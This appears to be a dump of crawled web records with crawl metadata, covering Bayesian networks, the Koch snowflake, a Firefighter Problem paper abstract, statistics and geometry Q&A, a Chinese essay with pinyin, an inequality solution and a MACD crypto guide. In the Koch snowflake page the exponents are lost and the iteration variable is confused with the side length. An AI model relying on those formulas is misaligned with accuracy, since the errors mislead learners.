receive a Recommendation Letter (L) based on various dependencies.\n\nGrade(G) is the parent node of Letter, We have assumed SAT Score(S) is based solely on/dependent on Intelligence(I).\n\nGrade is dependent on the Difficulty of Exam and Intelligence of Student.\n\nOne important point is that this is our assumption of how the world works, it may change for different perceptions, Some people might think SAT Score and Letter are dependent.\n\nSo in that case, the model looks like this:Each node is a random variable and has a local probability model associated with it.\n\nThis graph gives us a natural factorization for joint distribution.\n\nFigure-12: Factorized Term of Joint DistributionNow, one important point to note is that this model is built on our assumption on how the world works.\n\nMore finely put, This is the standard way of decision making we do.\n\nBut this might differ from person to person.\n\nSome people might think Recommendation Letter (L) depends on SAT Score(S) too.\n\nIn that case, the model becomes:Figure-13: Assumed ModelRule of Bayesian NetworksRule 1: A node is not independent of its parents.\n\nRule 2: A node is not independent of its parents even when we are given the values of other variables.\n\nRule 3: Given its parent node, a node is independent of all variables except its descendants node (child node).\n\nClosing RemarksBayesian Networks help us in decision making and simplify complex problems encoding various independencies.\n\nAs we read that Joint Distribution is not capable to give us an inference which is interpretable.\n\nFurthermore, Bayesian Networks (Acyclic Graphs) provide a basis for Restricted Boltzmann Machines.\n\nKushal Vala, Junior Data Scientist at Datametica Solutions Pvt Ltd."
]
| [
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.91849744,"math_prob":0.9536247,"size":7635,"snap":"2020-24-2020-29","text_gpt3_token_len":1537,"char_repetition_ratio":0.1551566,"word_repetition_ratio":0.010041841,"special_character_ratio":0.19148658,"punctuation_ratio":0.109195404,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99509084,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-06-01T12:01:35Z\",\"WARC-Record-ID\":\"<urn:uuid:c5f7739d-848f-4cf1-9746-a7c57ef82abf>\",\"Content-Length\":\"38027\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c5cf1f9a-f270-40ee-8d4b-fc65e3242e1e>\",\"WARC-Concurrent-To\":\"<urn:uuid:05890458-0767-4b5d-ad6f-cb39a68ea4f0>\",\"WARC-IP-Address\":\"78.47.26.210\",\"WARC-Target-URI\":\"http://datascience.sharerecipe.net/2019/03/03/probabilistic-graphical-models-bayesian-networks/\",\"WARC-Payload-Digest\":\"sha1:S3XWADDDMXAQKIR4Z7M2PAFH2UPY6W6E\",\"WARC-Block-Digest\":\"sha1:Q2QGISUDFAW4NVORWPRULHPHLZFMBBTC\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-24/CC-MAIN-2020-24_segments_1590347417746.33_warc_CC-MAIN-20200601113849-20200601143849-00497.warc.gz\"}"} |
https://personal.math.ubc.ca/~cass/courses/m308/projects/fung/page.html | [
"# KOCH'S SNOWFLAKE\n\nby Emily Fung",
null,
"The Koch Snowflake was created by the Swedish mathematician Niels Fabian Helge von Koch.",
null,
"In his 1904 paper entitled \"Sur une courbe continue sans tangente, obtenue par une construction géométrique élémentaire\" he used the Koch Snowflake to show that it is possible to have figures that are continuous everywhere but differentiable nowhere.\n\n## The Koch Curve\n\nIn order to create the Koch Snowflake, von Koch began with the development of the Koch Curve. The Koch Curve starts with a straight line that is divided up into three equal parts. Using the middle segment as a base, an equilateral triangle is created. Finally, the base of the triangle is removed, leaving us with the first iteration of the Koch Curve.\n\n## The Koch Snowflake\n\nFrom the Koch Curve, comes the Koch Snowflake. Instead of one line, the snowflake begins with an equilateral triangle. The steps in creating the Koch Curve are then repeatedly applied to each side of the equilateral triangle, creating a \"snowflake\" shape.\n\nThe Koch Snowflake is an example of a figure that is self-similar, meaning it looks the same on any scale. In this picture the part of the figure in the red box is similar to the entire picture.\n\n## The Math Behind It\n\nNUMBER OF SIDES (n)\n\nFor each iteration, one side of the figure from the previous stage becomes four sides in the following stage. Since we begin with three sides, the formula for the number of sides in the Koch Snowflake is\n\nn = 3*4a\n\nin the ath iteration.\n\nFor iterations 0, 1, 2 and 3, the number of sides are 3, 12, 48 and 192, respectively.\n\nLENGTH OF A SIDE (length)\n\nIn every iteration, the length of a side is 1/3 the length of a side from the preceding stage. If we begin with an equilateral triangle with side length x, then the length of a side in interation a is\n\nlength = x*3-a\n\nFor iterations 0 to 3, length = a, a/3, a/9 and a/27.\n\nPERIMETER (p)\n\nSince all the sides in every iteration of the Koch Snowflake is the same the perimeter is simply the number of sides multiplied by the length of a side\n\np = n*length\n\np = (3*4a)*(x*3-a)\n\nfor the ath iteration.\n\nAgain, for the first 4 iterations (0 to 3) the perimeter is 3a, 4a, 16a/3, and 64a/9.\n\nAs we can see, the perimeter increases by 4/3 times each iteration so we can rewrite the formula as\n\np = (3a)*(4/3)a\n\nSo as a-->infinity the perimeter continues to increase with no bound.\n\nAlso, as a-->infinity the snowflake is made up of sharp corners with no smooth lines connecting them. Therefore, while the perimeter of the snowflake, which is an infinite series, is continuous because there are no breaks in the perimeter, it is not differentiable since there are no smooth lines.\n\nREFERENCES:\n\nEric W. Weisstein. \"Koch Snowflake.\" From MathWorld--A Wolfram Web Resource. http://mathworld.wolfram.com/KochSnowflake.html\n\nTom VanCourt. \"Glencoe's Manual of Fuzz.\" The Textbook League. http://www.textbookleague.org/102fuzz.htm\n\n\"Niels Fabian Helge Von Koch.\" School of Mathematics and Statistics. University of St. Andrews, Scotland. http://www-groups.dcs.st-and.ac.uk/~history/Mathematicians/Koch.html"
]
| [
null,
"https://personal.math.ubc.ca/~cass/courses/m308/projects/fung/KochSnowflakeTiling.gif",
null,
"https://personal.math.ubc.ca/~cass/courses/m308/projects/fung/Koch.jpg",
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.8804156,"math_prob":0.94435614,"size":2965,"snap":"2022-27-2022-33","text_gpt3_token_len":733,"char_repetition_ratio":0.14454576,"word_repetition_ratio":0.008213553,"special_character_ratio":0.23001686,"punctuation_ratio":0.13157895,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99432474,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,2,null,2,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-08-14T21:58:01Z\",\"WARC-Record-ID\":\"<urn:uuid:d2d0556f-ef58-40b1-be9e-684b1dd78348>\",\"Content-Length\":\"4401\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:99c6b26d-cbc5-4b80-8501-edad1695c489>\",\"WARC-Concurrent-To\":\"<urn:uuid:80dcf220-04e6-43ec-aa37-44bb8a5cea87>\",\"WARC-IP-Address\":\"137.82.36.73\",\"WARC-Target-URI\":\"https://personal.math.ubc.ca/~cass/courses/m308/projects/fung/page.html\",\"WARC-Payload-Digest\":\"sha1:POFIXLDKV25Q6OI3C6TCV5IQ6C2JEWHB\",\"WARC-Block-Digest\":\"sha1:KCA7UBI3YPRSI5RA43ESHS2KOL2QSU3T\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-33/CC-MAIN-2022-33_segments_1659882572077.62_warc_CC-MAIN-20220814204141-20220814234141-00114.warc.gz\"}"} |
https://link.springer.com/chapter/10.1007/978-3-030-03493-1_33 | [
"# Crossover Operator Using Knowledge Transfer for the Firefighter Problem\n\nConference paper\nPart of the Lecture Notes in Computer Science book series (LNCS, volume 11314)\n\n## Abstract\n\nThis paper concerns the Firefighter Problem (FFP) which is a graph-based problem in which solutions can be represented as permutations. A new crossover operator is proposed that uses a machine learning model to decide how to combine two parent solutions of the FFP into an offspring. The operator works on two parent permutations and the machine learning model provides information which parent to select the next permutation element from, when constructing a new solution. Training data is collected during a training run in which transpositions are applied to solutions found by an evolutionary algorithm for a small problem instance. The machine learning model is trained to classify pairs of graph vertices into two classes corresponding to which vertex should be placed earlier in the permutation.\n\nIn the experiments the machine learning model was trained on a set of FFP instances with 1000 vertices. Subsequently, the proposed operator was used for solving FFP instances with up to 10000 vertices. The experiments, in which the proposed operator was compared against a set of other crossover operators, shown that the proposed operator is able to effectively use knowledge gathered when solving smaller instances for solving larger instances of the same problem.\n\n## Keywords\n\nKnowledge-based optimization Graph problems REDS graphs\n\n## References\n\n1. 1.\nTorrey, L., Shavlik, J.: Transfer learning. In: Olivas, E.S., et al. (eds.) Handbook of Research on Machine Learning Applications and Trends: Algorithms, Methods and Techniques, vol. 2. Information Science Reference - Imprint of: IGI Publishing, Hershey (2009)Google Scholar\n2. 2.\nYosinski, J., Clune, J., Bengio, Y., Lipson, H.: How transferable are features in deep neural networks? In: Proceedings of the 27th International Conference on Neural Information Processing Systems, NIPS 2014, vol. 2, pp. 3320–3328. MIT Press, Cambridge (2014)Google Scholar\n3. 3.\nHartnell, B.: Firefighter! An application of domination. In: 20th Conference on Numerical Mathematics and Computing (1995)Google Scholar\n4. 4.\nMichalak, K.: Estimation of distribution algorithms for the firefighter problem. In: Hu, B., López-Ibáñez, M. (eds.) EvoCOP 2017. LNCS, vol. 10197, pp. 108–123. Springer, Cham (2017).\n5. 5.\nVogl, T., Mangis, J., Rigler, A., Zink, W., Alkon, D.: Accelerating the convergence of the backpropagation method. Biol. Cybern. 59, 257–263 (1988)\n6. 6.\nBridle, J.S.: Probabilistic interpretation of feedforward classification network outputs, with relationships to statistical pattern recognition. In: Soulié, F.F., Hérault, J. (eds.) Neurocomputing. NATO ASI Series, vol. 68, pp. 227–236. Springer, Heidelberg (1990).\n7. 7.\nAntonioni, A., Bullock, S., Tomassini, M.: REDS: an energy-constrained spatial social network model. In: Lipson, H., et al. (eds.) ALIFE 2014. MIT Press (2014)Google Scholar\n8. 8.\nMichalak, K.: The Sim-EA algorithm with operator autoadaptation for the multiobjective firefighter problem. In: Ochoa, G., Chicano, F. (eds.) EvoCOP 2015. LNCS, vol. 9026, pp. 184–196. Springer, Cham (2015).\n9. 9.\nMoller, M.F.: A scaled conjugate gradient algorithm for fast supervised learning. Neural Netw. 6, 525–533 (1993)\n10. 10.\nArlot, S., Celisse, A.: A survey of cross-validation procedures for model selection. Stat. Surv. 4, 40–79 (2010)"
]
| [
null
]
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https://stats.stackexchange.com/questions/50632/scoring-items-which-are-not-easily-compared/51076 | [
"# Scoring items which are not easily compared\n\nFirst of all, I apologize since this question has probably been asked many times and is easily answered. However, as a statistics amateur I simply couldn't figure out what keywords are relevant to my question.\n\nSuppose you have 100 merchants and 100 products. Each merchant sells a certain range of products, ranging from only one product to all 100 products. Also, products are sold in widely different proportions, which differ among merchants, and are subject to the merchant's individual (irrational) preferences.\n\nWhenever a merchant makes a \"pitch\" on the market, we observe whether or not he manages to sell the product he's pitching. We assume the probability of success depends (a) on the skill of the merchant and (b) the attractiveness of the product. The products' prices are fixed, so that's not a factor.\n\nThe data we have consists of millions of pitches. For each pitch, we know whether or not it was successful, the merchant, and the product.\n\nObviously, if we compare merchants by their average success rate, this information is useless because every merchant sells different products. Likewise, if we compare products, we gain no information since every product is sold by different merchants.\n\nWhat we want is a skill score for each merchant, which is independent of the products the merchant is selling, and an attractiveness score for each product, which is independent of the merchants who are selling it.\n\nI don't need a comprehensive explanation, just some keywords to point me in the right direction. I literally have no idea where to start.\n\nEdit: Note that our assumption is that the product attractiveness is merchant-independent and the merchant skill is product-independent, i.e. there are no merchants which are better at selling certain products but worse at selling others.\n\n• Does this fall under unsupervised learning? We have combined effect (0/1) of Merchant skills and Product score (both ordinal say 1-100), and we don't observe (and have no idea) about the ordering of the 2 predictors. – steadyfish Feb 28 '13 at 19:25\n• You might want to check out, \" Conjoint Analysis \" – user21509 Mar 4 '13 at 3:41\n• Welcome to CV, @user21509. Would you care to expand on your answer? Why would conjoint analysis be useful here? Note that CV is not simply a Q&A site, but seeks to create a permanent repository of statistical information. – gung Mar 4 '13 at 3:43\n\nLet me expand on alternative solution proposed by @curious_cat.\n\n$P_{ij}$ is the matrix of pitches\n\n$L_{ij}$ is the matrix of sells\n\n$S_{ij} = L_{ij}/P_{ij}$ is the matrix of success rates (elementwise division where it exists and 0 elsewhere)\n\nAs @curious_cat suggested, you want to approximate $S_{ij}$ by the outer product of two positive vectors\n\n$$S_{ij} \\approx M_i \\times A_j^T$$\n\nLeast square minimization will lead to\n\n$$\\min | S_{ij} - M_j \\times A_i^T |_2$$ where $| \\quad |_2$ is the Frobenius norm.\n\nBUT you do not want to minimize for the entries in which $S_{ij}$ is not defined. So what you realy want is something like:\n\n$$\\min |W_{ij} \\odot (S_{ij} - M_j \\times A_i^T)|_2$$ where $\\odot$ is the elementwise multiplication.\n\n1) At a first approximation, $w_{ij}$ is 0 where $p_{ij}$ is 0 and 1 elsewhere.\n\nThis is a weighted non-negative matrix factorisation (or approximation) problem. Google should give some references to it.\n\n2) Now, shooting from the hip, let us try to answer the point also made by @curious_cat that you should trust more a success rate of 1000 sells over 2000 pitches than a 2 sells over 4 pitches.\n\nThe weight $w_{ij}$ need not to be uniformly 1 for the entries that are defined in $S_{ij}$. One can give it more weight to success rates with higher pitches.\n\nMy guess is to use $\\sqrt{p_{ij}}$ as the weight. The intuition is that the confidence interval on the success rate is inversely proportional to $\\sqrt{p_{ij}}$.\n\nThis type of problem is typically referred to in econometrics and marketing research as a \"choice modeling\" problem. Texts dealing with such problems include: Louviere, J., D. A. Hensher, et al. (2000). Stated Choice Methods: Analysis and Application. Cambridge, Cambridge University Press. Train, K. E. (2009). Discrete Choice Methods with Simulation. Cambridge, Cambridge University Press. Rossi, P. E., G. M. Allenby, et al. (2005). Bayesian Statistics and Marketing, Wiley.\n\nThe simplest practical model you could estimate would be a binary logit model with the dependent variable indicating when an object is purchased versus when it is not purchased, with two independent variables: a categorical variable for merchant and a categorical variable for product. (Or, if you do not know anything about when a product is not purchased, you could use Poisson regression or some other counts model.)\n\nThe parameter estimate for each merchant would be their skill score and the parameter for each product would be the \"attractiveness score\". The \"attractiveness\" score is more commonly referred to as a \"utility\" in choice modeling.\n\nA practical computational problem you will experience is that unless you have only a few hundred merchants and few hundred categorical variables you will struggle to estimate the model and may need a \"random effects\" model (sometimes referred to as a \"hierarchical model\" in this context).\n\nIn addition to the assumption that you mention, a key set of assumptions that will determine the validity of your analysis will relate to which alternatives are available at a given time. For example, a product that is intrinsically unattractive may be purchased regularly because the more attractive products are not available at the purchase time. This effect can have a very large impact upon your resulting estimates, as when it is ignored you inadvertently will confound the attractiveness of a product with its availability. The texts cited earlier discuss various modifications of choice models to deal with many of the types of assumptions likely relevant to your problem.\n\n• If you try to do a binary response logit in this case won't you get a huge number of duplicates? Would that be a problem? – curious_cat Mar 1 '13 at 5:13\n• The question asks \"For each pitch, we know whether or not it was successful, the merchant, and the product.\" If the recipient of the pitch declines and leaves the market, then I don't think there is a problem. If we think multiple products were compared then we need a multinomial logit model. If we think that the person does not buy because they anticipate there could be something better then we have a much harder problem. – Tim Mar 5 '13 at 21:02\n\nYour problem can be modeled by a Rasch Model. Here is a document that explains the model with the following example\n\nRasch model is a statistical model of a test that attempts to describe the probability that a student answers a question correctly. It assigns to every student a real number, a, called the \"ability\", and to every questions a real number, d, called the \"difficulty\".\n\nThis is similar to your situation where each merchant has some inherent \"skill\" and each product has an inherent \"attractiveness\".\n\nWhy not for each merchant compute a success rate for every product he sells $S_{ij}$. ($i$ indexes products and $j$ indexes merchants) Average this and compute a merchant average baseline success rate($S_j$). Now compute differences ($\\delta S_{ij}=S_{ij} - S_j$). Each of this $\\delta S_{ij}$ indicates how much better or worse every product does with respect to that merchants baseline success rate.\n\nIf you sum up this $\\delta S_{ij}$ over all merchants j you'd obtain some sort of score of the attractiveness of every product $S_i$?\n\nThe merchant skill metric would be a dual of this. One problem is this doesn't weigh in the confidence level motivated by large data. i.e. 2 successes out of 4 pitches ought to (perhaps) matter less than 1000 successes out of 2000 pitches? You'd have to find some way to adjust for that in case it matters.\n\nAlternatively: Assume every merchant has a skill value $M_j$ and every product has a product attractiveness $A_i$. You could model the success rate of product $i$ sold by merchant $j$ ($S_{ij}$) as some function of $M_j$ and $A_i$ with possible cross terms. If you fit this you might be able to score using the coefficents.\n\nIf you consider $S_{ij} = M_j \\times A_i + \\epsilon_{ij}$ you get one simple model. The matrix of success elements is possibly sparse (since not all merchants sell all products). If it were indeed fully populated you must estimate 200 coefficients from 100x100 success rate numbers such that you minimize $\\epsilon_{ij}$ in some sort of least squares sense.\n\nPossible flaws:\n\nI don't see an easy way to interpret relative scores. e.g. If two Products have an attractiveness of $A_{i1}$ and $A_{i2}$ how much better is one than the other? A simple ratio? A log likelihood? etc. Perhaps there is some interpretation but I cannot see it yet. From a strictly ordering perspective it shouldn't matter.\n\nPS How sparse is your matrix? Knowing that you have millions of pitches maybe not too sparse? Or is it? i.e. Out of a maximum possible 10,000 merchant-product combinations how many are filled (i.e. have at least one pitch)?\n\nPS1 Uniqueness. I cannot prove whether your $M_j$ and $A_i$ values will be unique or even close to. If there are multiple solutions it'll be an interesting situation. Maybe there are stronger math results about this?\n\n• +1 Your \"Alternatively\" section is exactly the same as the \"SVD\" used in netflix, with the number of dimensions collapsed to 1. – Stumpy Joe Pete Feb 28 '13 at 20:17\n• @StumpyJoePete I did not know that! Thanks. Sounded a bit too simplistic when I suggested it myself..... – curious_cat Feb 28 '13 at 20:21\n• Yeah, see my answer about svd. Then just think of it as applied to your matrix, with $k=1$. The end result is approximating $S$ as the outer product of a \"product\" vector and a \"merchant\" vector, trying to minimize the squared error in the known entries. Cheers! – Stumpy Joe Pete Feb 28 '13 at 21:07\n\nI think you are looking to attribute qualities that are not inherent in, or do not follow from, your data. You have unambiguous data on success rate, and there should be a way to calculate or estimate a merchant's \"adjusted success rate\" given the rate at which his products tend to sell among all merchants. Similarly, there should be a way to determine each product's adjusted success rate given the success rates of the merchants who tend to sell it. These two angles on the analysis might be accomplished with a nested/hierarchical/multi-level logistic regression, if the data are suitable for it. But that wouldn't necessarily reveal the attributes of \"skill\" or \"attractiveness\"; it might yield workable proxies for them, but how adequate these proxies would be is a substantive question more than a statistical one.\n\n• Sure, I'm not so much concerned with what the proper name for these attributes would be. My goal is, for example, to find a list of product scores which, if a new merchant started using them for deciding which products to promote, would minimize the expected mistake. The score shouldn't reflect any actual observable quality, just something which makes it possible to distinguish between winning and losing products. – M. Cypher Feb 28 '13 at 16:52\n\nI would just create a 2 way table for this. For e.g. rows corresponding to different merchants and columns corresponding to different products. Each cell in this 100 x 100 table/matrix represents counts/proportion for no. of times the combination was successful.\n\nOnce this is done, you can sort this matrix by rows and then by columns (or the other way round) to get the product and merchant skills ordering.\n\nI'd recommend a logistic regression with merchants and products as random effects. In R, this would look like:\n\nlibrary(\"lme4\")\nfit <- glmer(sold ~ (1|merchant) + (1|product), data, family=binomial, REML=TRUE, verbose=TRUE, weights)\nsummary(fit)\nranef(fit)\n\n\nExtracting the estimates is relatively straightforward, and I handle millions of data points with approaches similar to this on standard workstations all the time. The model fitting typically only takes a few minutes."
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https://math.stackexchange.com/questions/3787664/tetrahedron-volume-given-rectangular-parallelepiped | [
"# tetrahedron volume given rectangular parallelepiped\n\nLet $$A$$ be a rectangular parallelepiped with edges of lengths $$15, 20, 30$$. Let $$B$$ be a tetrahedron on four non-adjacent vertices of $$A$$ (i.e no two vertices of $$B$$ share a common edge of $$A$$). Compute the volume of $$B$$.\n\nThis site gives a way to calculate but there's gotta be a closed form elegant formula for this.",
null,
"Let the rectangular parallelepiped measurements be $$a,\\,b,\\,c$$ then the mixed product of the three vectors is $$6$$ times the volume of the desired tetrahedron $$V=\\frac16\\operatorname{abs} \\left| \\begin{array}{ccc} a&b&0\\\\ a&0&c\\\\ 0&b&c \\end{array} \\right|=\\frac13 abc$$ Thus the desired volume is $$\\frac13\\cdot 15\\cdot 20\\cdot 30=3000$$.\n• More simply (to my mind, anyway), each of the tetrahedra at the vertices $A', B, C', D$ has volume $\\tfrac16abc,$ so the tetrahedron $AB'CD'$ has volume $abc - \\frac23abc = \\frac13abc.$ The question Volume of a tetrahedron whose 4 faces are congruent is relevant, but has more detail than is needed here. Aug 11 '20 at 21:00"
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"https://i.imgur.com/7o5vRTg.png",
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.88041854,"math_prob":0.99989176,"size":317,"snap":"2021-31-2021-39","text_gpt3_token_len":91,"char_repetition_ratio":0.12140575,"word_repetition_ratio":0.0,"special_character_ratio":0.2807571,"punctuation_ratio":0.10294118,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99999726,"pos_list":[0,1,2],"im_url_duplicate_count":[null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-09-19T11:02:03Z\",\"WARC-Record-ID\":\"<urn:uuid:dc23cf21-277d-4a50-a434-634d910fb2aa>\",\"Content-Length\":\"166149\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:a5dfd156-0f44-4652-a1c8-900f6812f7de>\",\"WARC-Concurrent-To\":\"<urn:uuid:429d1c1e-ba5f-4d81-a6e7-85abc4f000d3>\",\"WARC-IP-Address\":\"151.101.193.69\",\"WARC-Target-URI\":\"https://math.stackexchange.com/questions/3787664/tetrahedron-volume-given-rectangular-parallelepiped\",\"WARC-Payload-Digest\":\"sha1:6SJRDWU44GW7NHGMLPG7CXODLHWJI4OX\",\"WARC-Block-Digest\":\"sha1:DFHERW4OZNAYV6YAZ56CVWEUF5CAMP3L\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-39/CC-MAIN-2021-39_segments_1631780056856.4_warc_CC-MAIN-20210919095911-20210919125911-00130.warc.gz\"}"} |
http://zuowen6.info/node/2211 | [
"雨\n\n•\n•\n• huá\n• huá\n• huá\n• tiān\n• hēi\n• le\n• xià\n• lái\n• de\n• shuǐ\n• cóng\n• 哗哗哗天黑了下来一滴一滴的雨水从\n• tiān\n• kōng\n• zhōng\n• fēi\n• xiè\n• xià\n• lái\n• piàn\n• shī\n• cháo\n•\n• 天空中飞泻下来大地一片湿潮\n•\n•\n• rén\n• háng\n• dào\n• shàng\n• ?g\n• ?g\n• de\n• sǎn\n• de\n• 人行道上花花绿绿的雨伞一把一把的\n• kāi\n• shàng\n• tóng\n• kāi\n• mǎn\n• le\n• duǒ\n• duǒ\n• xiān\n• ?g\n• xià\n• xià\n• 打开大地上如同开满了一朵朵鲜花雨下下\n• tíng\n• tíng\n• tíng\n• tíng\n• xià\n• xià\n• sǎn\n• ?g\n• huì\n• ér\n• kāi\n• huì\n• ér\n• xiè\n• shēng\n• mìng\n• 停停停停下下伞花一会儿开一会儿谢生命\n• duǎn\n• hěn\n•\n• 短得很\n•\n•\n• zǒu\n• zài\n• shàng\n• zhe\n• sǎn\n• zǒu\n• zài\n• cháo\n• shī\n• de\n• miàn\n• shàng\n• 我走在路上打着伞走在潮湿的路面上\n• kōng\n• fēi\n• cháng\n• hǎo\n• 空气非常地好\n•\n•\n• cóng\n• tiān\n• kōng\n• zhōng\n• fēi\n• xiè\n• xià\n• lái\n• de\n• shuǐ\n• hǎo\n• tiáo\n• shǎn\n• 从天空中飞泻下来的雨水好似一条闪\n• yào\n• de\n• yín\n• liàn\n• yòu\n• hǎo\n• xuě\n• de\n• shuǐ\n• jīng\n• yòu\n• hǎo\n• xiàng\n• 耀的银链又好似一颗颗雪色的水晶又好像\n• měi\n• de\n• qīng\n• shā\n• yàng\n• jīng\n• yíng\n• 美丽的轻纱一样晶莹\n•\n•\n• ā\n• jiàn\n• dào\n• rén\n• de\n• zhēn\n• shì\n• 啊我第一次见到如此迷人的雨她真是\n• tài\n• měi\n• le\n• shǐ\n• wàng\n• le\n• zhè\n• jǐng\n•\n•\n• 太美了使我忘不了这一次雨景\n•\n•\n\n无注音版:\n\n哗哗哗天黑了下来一滴一滴的雨水从天空中飞泻下来大地一片湿潮\n\n人行道上花花绿绿的雨伞一把一把的打开大地上如同开满了一朵朵鲜花雨下下停停停停下下伞花一会儿开一会儿谢生命短得很\n\n我走在路上打着伞走在潮湿的路面上空气非常地好\n从天空中飞泻下来的雨水好似一条闪耀的银链又好似一颗颗雪色的水晶又好像美丽的轻纱一样晶莹\n啊我第一次见到如此迷人的雨她真是太美了使我忘不了这一次雨景"
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| {"ft_lang_label":"__label__zh","ft_lang_prob":0.7836377,"math_prob":0.44716048,"size":405,"snap":"2019-43-2019-47","text_gpt3_token_len":542,"char_repetition_ratio":0.092269324,"word_repetition_ratio":0.0,"special_character_ratio":0.15308642,"punctuation_ratio":0.0,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99115896,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-10-17T10:27:29Z\",\"WARC-Record-ID\":\"<urn:uuid:cc235f58-42a1-46fb-b24a-a203c5c42965>\",\"Content-Length\":\"6042\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:bf31e14f-b89f-4d9a-a2fb-4bf7b44f0a27>\",\"WARC-Concurrent-To\":\"<urn:uuid:7667c048-5b6e-4cb8-88c8-60dfa30ce04e>\",\"WARC-IP-Address\":\"144.168.58.160\",\"WARC-Target-URI\":\"http://zuowen6.info/node/2211\",\"WARC-Payload-Digest\":\"sha1:CYFHGU3JU65EER53N6XKWV7DLTDBTCHP\",\"WARC-Block-Digest\":\"sha1:CVHDPAVNS2GR5GG7QVFY4SFDZOSUWJQ4\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-43/CC-MAIN-2019-43_segments_1570986673538.21_warc_CC-MAIN-20191017095726-20191017123226-00289.warc.gz\"}"} |
https://socratic.org/questions/how-do-you-solve-2x-x-5-0 | [
"# How do you solve (2x)/(x+5)<=0?\n\nDec 16, 2016\n\n$- 5 < x \\le 0$\n\n#### Explanation:\n\n$\\textcolor{red}{\\text{There is a trap in this question in that there are excluded}}$$\\textcolor{red}{\\text{values for } x}$\n\n$\\textcolor{b l u e}{\\text{Step 1}}$\nSolve disregarding the excluded values.\n\nMultiply both sides by $\\left(x + 5\\right)$\n\n$2 x \\le 0 \\times \\left(x + 5\\right)$\n\n$2 x \\le 0$\n\n$\\textcolor{b l u e}{\\text{Condition 1: } x \\le 0}$\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n$\\textcolor{b l u e}{\\text{Step 2}}$\nAn equation or expression becomes 'undefined' if you have division by 0.\n\n$\\implies \\left(x + 5\\right) \\ne 0$\n\n$\\textcolor{b l u e}{\\text{Condition 2: } x \\ne - 5}$\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n$\\textcolor{b l u e}{\\text{Step 3}}$\n\nCan we have x< -5color(white)(.)?\n\nSuppose $x = - 6$ then we have:\n\n$\\frac{2 \\left(- 6\\right)}{- 6 + 5} = \\frac{- 12}{-} 1 = + 12$\n\nThis is not an excluded value but does not satisfy $\\frac{2 x}{x + 5} \\le 0$\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n$\\textcolor{b l u e}{\\text{Putting it all together using proper notation}}$\n\n$- 5 < x \\le 0$"
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.5034348,"math_prob":0.9998547,"size":439,"snap":"2020-34-2020-40","text_gpt3_token_len":87,"char_repetition_ratio":0.3402299,"word_repetition_ratio":0.0,"special_character_ratio":0.45102507,"punctuation_ratio":0.07017544,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9997687,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-09-30T22:37:36Z\",\"WARC-Record-ID\":\"<urn:uuid:2ee61bdd-ef8f-4e38-b0a3-93bd96229599>\",\"Content-Length\":\"35108\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:09efe3fe-8d50-48be-9c09-315ca20af2b8>\",\"WARC-Concurrent-To\":\"<urn:uuid:a6f1fbc4-b678-4119-8b34-e66f27afc041>\",\"WARC-IP-Address\":\"216.239.36.21\",\"WARC-Target-URI\":\"https://socratic.org/questions/how-do-you-solve-2x-x-5-0\",\"WARC-Payload-Digest\":\"sha1:Z6WCQKTLNOJMWYZF4WCRZR6VMLW5F5B4\",\"WARC-Block-Digest\":\"sha1:YWOX3YYBXJXO5I6GHTDVB3UDXDUIXE3I\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-40/CC-MAIN-2020-40_segments_1600402128649.98_warc_CC-MAIN-20200930204041-20200930234041-00042.warc.gz\"}"} |
https://www.cryptocurrencyguide.org/technical-indicator-guides-what-is-macd-and-how-to-use-it/ | [
"# Technical Indicator Guides: What is MACD and How To Use It",
null,
"## What is Moving Average Convergence Divergence (MACD)\n\nMoving Averages Convergence Divergence – or MACD, in short – is a momentum indicator that gauges a cryptocurrency’s overall trend, through the display of two moving averages of prices. It is one of the simplest and most effective technical indicators that you can use to measure where prices are headed.\n\nHere’s how it is used together with the price of a cryptocurrency, in this case, Bitcoin (BTC):",
null,
